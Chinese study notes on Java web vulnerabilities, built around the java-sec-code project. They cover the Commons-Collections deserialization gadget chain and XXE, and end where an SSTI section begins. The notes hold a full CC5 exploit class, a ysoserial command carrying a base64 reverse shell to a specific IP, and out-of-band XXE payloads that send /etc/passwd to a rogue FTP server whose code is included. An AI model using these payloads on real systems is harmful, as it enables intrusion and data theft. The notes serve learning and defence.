从几个月前就说要学javaweb。结果一直在拖。现在开篇文章强迫自己写写笔记。
大体上打算从常见漏洞和框架使用两个方面学习。因为有语言基础就不谈比较基础的部分了。
vulns
java比较常见的有特色的漏洞包括但不限于
- deserialization
- xxe
- SpEL
- ssti
- url bypass
……
这里用JoyChou大佬的项目学习 https://github.com/JoyChou93/java-sec-code
非常全面。
每种漏洞都有对应的源码。原先很多反序列的洞复现过但是没有看过源码。这里正好研究下。
deserialization
恶意及防范源码
package org.joychou.controller;
import org.joychou.config.Constants;
import org.joychou.security.AntObjectInputStream;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.util.Base64;
import static org.springframework.web.util.WebUtils.getCookie;
/**
* Deserialize RCE using Commons-Collections gadget.
*
* @author JoyChou @2018-06-14
*/
@RestController
@RequestMapping("/deserialize")
public class Deserialize {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
* <p>
* http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();
return "Are u ok?";
}
/**
* Check deserialize class using black list.
* <p>
* http://localhost:8080/deserialize/rememberMe/security
*/
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
} catch (InvalidClassException e) {
logger.info(e.toString());
return e.toString();
}
return "I'm very OK.";
}
}
这里应该是模仿shiro的rememberMecookie反序列化.下面先来回顾下java的序列化知识
about
Java 提供了一种对象序列化的机制:一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。整个过程都是JVM独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
usage
1.弥补操作系统的差异
2.向远程对象发送信息时,需要通过对象序列化来传输参数和返回值
3.使用一个Bean时,一般情况下是在设计阶段对它的状态信息进行配置,然而这种状态信息需要保存下来,并在程序启动时进行后期恢复,这时是靠反序列化机制来完成的
4.方便保存对象信息以便于下次JVM启动时可以直接使用。
- dependencies
1.实现 java.io.Serializable 对象
2.该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
下面是一个练手的例子。
User类
import java.io.*;
public class User implements Serializable {
public String name;
public int num;
public void info(){
System.out.println("name : "+name+"\nnum : "+num);
}
}
test类
import java.io.*;
public class test {
public static void serialize_test(){
User user=new User();
user.name="byc_404";
user.num=404;
user.info();
try {
FileOutputStream f= new FileOutputStream("user.ser");
ObjectOutputStream o =new ObjectOutputStream(f);
o.writeObject(user);
o.close();
f.close();
System.out.println("[*]serialize done.");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void unserialize_test(){
User user=null;
try {
FileInputStream f= new FileInputStream("user.ser");
ObjectInputStream o =new ObjectInputStream(f);
user=(User)o.readObject();
o.close();
f.close();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
System.out.println("[*]unserialize done.");
user.info();
}
public static void main(String[] args) {
unserialize_test();
}
}
首先注意上面的语句直接调用读写文件时都需要实现trycatch。而readobject时特殊的添加了一个ClassNotFound 的异常。在idea中写好原代码后ctrl+alt+t添加会自动考虑到这些问题,
生成的user.ser的数据
开头AC ED 表示支持序列化协议。00 05 则是序列化版本。这是序列化数据比较显著的特征。
由于编程中的选择原因,有时需要我们实现非默认的序列化过程。此时可以在实现了Serializable接口的前提下添加两个方法
private void writeObject(ObjectOutputStream stream) throws IOException
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
在调用ObjectOutputStream.writeObject()时,会检查所传递的Serializable对象,看看是否实现了自己的writeObject(),若实现了,则跳过正常的序列化过程并调用自己实现的writeObject()。readObject()方法同理
那么回到远程。这里直接打一发弹shell的payload。去jackson直接转换下编码
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjcuMjQ2LjIwMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" | base64
这环境貌似是只有cc5的gadget能用.后来在原作者那看到应该是引入了apache-commons-collections 3.1.jar
- CommonCollections 审计
下面正好来审计下Commons-Collections这个包。https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1
在这下好jar包后把它加进library.就可以看源码了。
漏洞代码出现在这一部分。
TransformedMap类是实现了serializable,对Java标准数据结构Map接口的一个扩展TransformedMap.decorate()方法,可以获得一个TransformedMap的实例化的对象。
TransformedMap.decorate()
方法能将普通的MapA转换为TransformedMapB,同时如果TransformedMap.decorate()
方法设置了第二个参数keyTransformer或者第三个参数valueTransformer,当TransformedMapB调用Map的put方法或者Map.Entry的setValue方法就会自动触发刚才设置的keyTransformer或者valueTransformer相应的Transformer
Map.put与Map.Entry其实就是Map的两个比较常见的接口。前者可以往map中设置一对键值。后者则是定义了getKey(),getValue(),setKey(),setValue()等方法可以用来获取修改键值。
牛逼的是这个Transformer可以利用数组构造成ChainedTransformer,ChainedTransformer最后利用Java的反射机制命令执行。
关于反射命令执行。这个算是java非常常见的命令技巧了。在SpEL跟Spring 的ssti中经常见到。主要目的就是绕过沙盒。当然如php的序列化中也曾经遇到过.这算是Java动态特性的体现。
一个弹计算器的反射payload
import java.lang.reflect.Method;
public class reflect {
public static void main(String[] args) throws Exception {
Object input = Runtime.class;
Class cls = input.getClass();
Method method = cls.getMethod("getMethod", new Class[] { String.class, Class[].class });
input = method.invoke(input, new Object[] { "getRuntime", new Class[0] });
// 此时cls为Method,对应getRuntime方法,获取invoke方法并执行
cls = input.getClass();
method = cls.getMethod("invoke", new Class[] { Object.class, Object[].class });
input = method.invoke(input, new Object[] { null, new Object[0] });
// 此时cls为Runtime,对应Runtime.getRuntime()的结果,可调用exec方法
cls = input.getClass();
method = cls.getMethod("exec", new Class[] { String.class });
input = method.invoke(input, new Object[] { "calc" });
}
}
下面来跟着JoyChou师傅的博文看看Map.put是怎么通过构造达成命令执行的。
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class poc1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("name", "byc_404");
Map outmap = TransformedMap.decorate(innermap, transformerChain, null);
outmap.put("quote","23333");
}
}
在put()方法那下一个断点。第一步是调用TransformedMap.put()方法
然后进行一个keyTransformer是否为空的判断。我们因为设置了ChainedTransformer作为keyTransformer,因此接下来是调用ChainedTransformer.transform()
可以看到下面的this就是ChainedTransformer对象。
然后这个for循环会总共调用四次transform(),调用1次ConstantTransformer.transform()
方法,然后调用3次InvokerTransformer.transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
到这一步已经能看出我们构造函数的参数已经控制InvokerTransformer反射的参数了。达成命令执行。
gadget
TransformedMap.put()
=>TransformedMap.transformKey()
=>ChainedTransformer.transform()
=>ConstantTransformer.transform()
=>InvokerTransformer.transform()
=>Method.invoke()
Class.getMethod()
=>InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
=>InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Map.Entry的poc我就不跟了。基本上是一样的机理。
接下来也就是CommonCollections的gadget了。上面我们知道,我们可以利用Map类的对象进行反射的payload构造。那么我们恶意类的成员肯定是Map类的。并且由于反序列化的要求,这个类重写了readObject(),并且在readObject()中调用了put()或者setValue()
在不同jdk版本中我们能找到的符合要求的类不同。目前比较新的应该是用BadAttributeValueExpException+TiedMapEntry+lazyMap+ChainedTransformer的链子
先来看下BadAttributeValueExpException
public class BadAttributeValueExpException extends Exception {
/* Serial version */
private static final long serialVersionUID = -3105272988410493376L;
/**
* @serial A string representation of the attribute that originated this exception.
* for example, the string value can be the return of {@code attribute.toString()}
*/
private Object val;
/**
* Constructs a BadAttributeValueExpException using the specified Object to
* create the toString() value.
*
* @param val the inappropriate value.
*/
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
从BadAttributeValueExpException类的readObejct()方法知道,val.toString()
是整个readObject()的重点。现在需要一个类,能在调用toString()方法时触发transform()方法来执行我们构造的反射链
找到LazyMap的get()方法。与php的魔术方法一样,可以在调用不存在的key时来执行一个方法生成key.
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
最后是TiedMapEntry类
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
} else {
return this.map.put(this.key, value);
}
}
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Entry)) {
return false;
} else {
Entry other = (Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
它在调用toString()时,实际上调用了getValue()即map.get(key)。这样它就符合上面Lazymap的要求了。
那么gadget就是
BadAttributeValueExpException.readObject()//其val为TiedMapEntry
=>TiedMapEntry.toString()=>TiedMapEntry.getValue()//其map对象是LazyMap
=>LazyMap.get()//其factory对象是ChainedTransformer
=>ChainedTransformer.transform()
最终的exp.也是cc5的链子
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class exp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
new ConstantTransformer("1")
};
Transformer transformChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);
File f = new File("poc");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(exception);
out.flush();
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("poc"));
in.readObject(); // 触发漏洞
in.close();
}
}
done.
- 防御机制
从demo的安全代码部分就能看出。使用了AntObjectInputStream与InvalidClassException来进行黑/白名单的防范。具体可以看其自定义的代码 https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/AntObjectInputStream.java
直接Hook java/io/ObjectInputStream类的resolveClass方法
//今天先写这么多吧,好久没写java写起来还挺怀念的。
XXE
XXE在java-sec-code项目中被分为了两个部分。普通XXE与POI ooxml XXE.我们先从基础的看起。
package org.joychou.controller;
import org.dom4j.DocumentHelper;
import org.dom4j.io.SAXReader;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.HttpServletRequest;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.helpers.XMLReaderFactory;
import org.xml.sax.XMLReader;
import java.io.*;
import org.xml.sax.InputSource;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.parsers.SAXParser;
import org.xml.sax.helpers.DefaultHandler;
import org.apache.commons.digester3.Digester;
import org.jdom2.input.SAXBuilder;
import org.joychou.util.WebUtils;
/**
* Java xxe vuln and security code.
*
* @author JoyChou @2017-12-22
*/
@RestController
@RequestMapping("/xxe")
public class XXE {
private static Logger logger = LoggerFactory.getLogger(XXE.class);
private static String EXCEPT = "xxe except";
@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
public String xmlReaderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// fix code start
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//fix code end
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "xmlReader xxe security code";
}
@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
public String SAXBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXBuilder xxe security code";
}
@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXReader xxe vuln code";
}
@RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
public String SAXReaderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXReader xxe security code";
}
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "Digester xxe vuln code";
}
@RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
public String DigesterSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
digester.parse(new StringReader(body)); // parse xml
return "Digester xxe security code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
// 有回显
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder buf = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
}
}
sr.close();
return buf.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
// 有回显
@RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
public String DocumentBuilderVuln02(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuilder result = new StringBuilder();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
// 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
}
}
}
sr.close();
return result.toString();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
public String DocumentBuilderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
db.parse(is); // parse xml
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder xxe security code";
}
@RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);
sr.close();
return "DocumentBuilder xinclude xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
public String DocumentBuilderXincludeSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
response(rootNodeList);
sr.close();
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentBuilder xinclude xxe vuln code";
}
@PostMapping("/XMLReader/vuln")
public String XMLReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "XMLReader xxe vuln code";
}
@PostMapping("/XMLReader/sec")
public String XMLReaderSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "XMLReader xxe security code";
}
/**
* 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
* 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
*/
@PostMapping("/DocumentHelper/vuln")
public String DocumentHelper(HttpServletRequest req) {
try {
String body = WebUtils.getRequestBody(req);
DocumentHelper.parseText(body); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "DocumentHelper xxe vuln code";
}
private static void response(NodeList rootNodeList){
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList xxe = rootNode.getChildNodes();
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
// 测试不能blind xxe,所以强行加了一个回显
logger.info("xxeNode: " + xxeNode.getNodeValue());
}
}
}
public static void main(String[] args) {
}
}
从上面的代码可以看出。可导致XXE的xml解析类有许多种。同时进行防范时大多是使用了setFeature()
来把某个特性设置为true/false.
简单的内容同样不谈。这里关于javaxxe的几个特性稍微研究一下。先找个能回显的路由/DocumentBuilder/vuln01
- java的xxe可列目录。
file协议,netdoc协议均可
file:/ , netdoc:/
就能列根目录了。这点在某些写过滤大意的情况下可能会有帮助,比如只过滤了file://
的情况。
这点曾经在某个比赛中遇到过。当时题目后端使用的是php。但是它有一个将xml节点渲染成图片并回显的功能。像这种功能的底部实现很有可能是java达成的。因此在不知道路径文件名读取源码时可以通过列目录解决问题。
- java的xxe不能读取多行的问题
这个相比较php而言算是比较大的问题。php的伪协议为其读取方式带来了很大的便利,并且几乎是万金油。但是java的xxe有时读取不到多行完全是取决于jdk的版本并且普遍存在读取不了< %
的问题。
通常我们在盲打java oob xxe时普遍选择ftp协议(其实是因为支持的可外连的协议只有http/s ftp)。http只能读取单行文件。ftp则在不同版本下有不同表现
这里其他大佬普遍针对这个问题进行了研究
https://landgrey.me/blog/9/
https://www.leadroyal.cn/?p=914
结论是:
使用ftp 进行 oob 时,对版本有限制, <7u141 和 <8u162 才可以读取整个文件,全版本 http 都只可以读单行文件
总之遇到问题先打上一发看看。这里放出ftpserver的ruby代码。因为vps端口问题我把端口改了
require 'socket'
server = TCPServer.new 8001
loop do
Thread.start(server.accept) do |client|
puts "New client connected"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
puts "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
end
end
payload
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://xxxx/evil.dtd">%remote;]>
<root/>
evil.dtd
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://fakeuser:fakepass@xxxxxxxx:8001/%payload;'>">
%int;
%trick
当然以上针对的是OOB.也就是盲打外带的方法
- Xinclude xxe
这点我倒是非常感兴趣。因为前不久的htb Quick这台靶机就用到了xinclude+xslt的RCE(没错,其实是引入通过外部xml达成RCE)
当然不是所有服务都能像Esigate那样有这么低级的错误。正常来说我们一般是可以尝试xxe读文件
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
对于php而言。不需要打开外部实体引用选项,也能使用xinclude读取本地文件。
这里顺便分享下htb 那里参考的文章。我认为其利用对于提升xxe作用这点是很有参考价值的。https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
总而言之,java进行xxe相比常见的php后端而言多了许多限制。但是可以列目录这点是关键。同时遇到要盲打时,ftp是最好的选择。防御上,使用setFeature就能让外部实体不被加载。
ssti
Java的ssti相比较jinja等等而言还是很好理解的。只是对于不同框架应对手段不同
package org.joychou.controller;
import org.apache.velocity.VelocityContext;
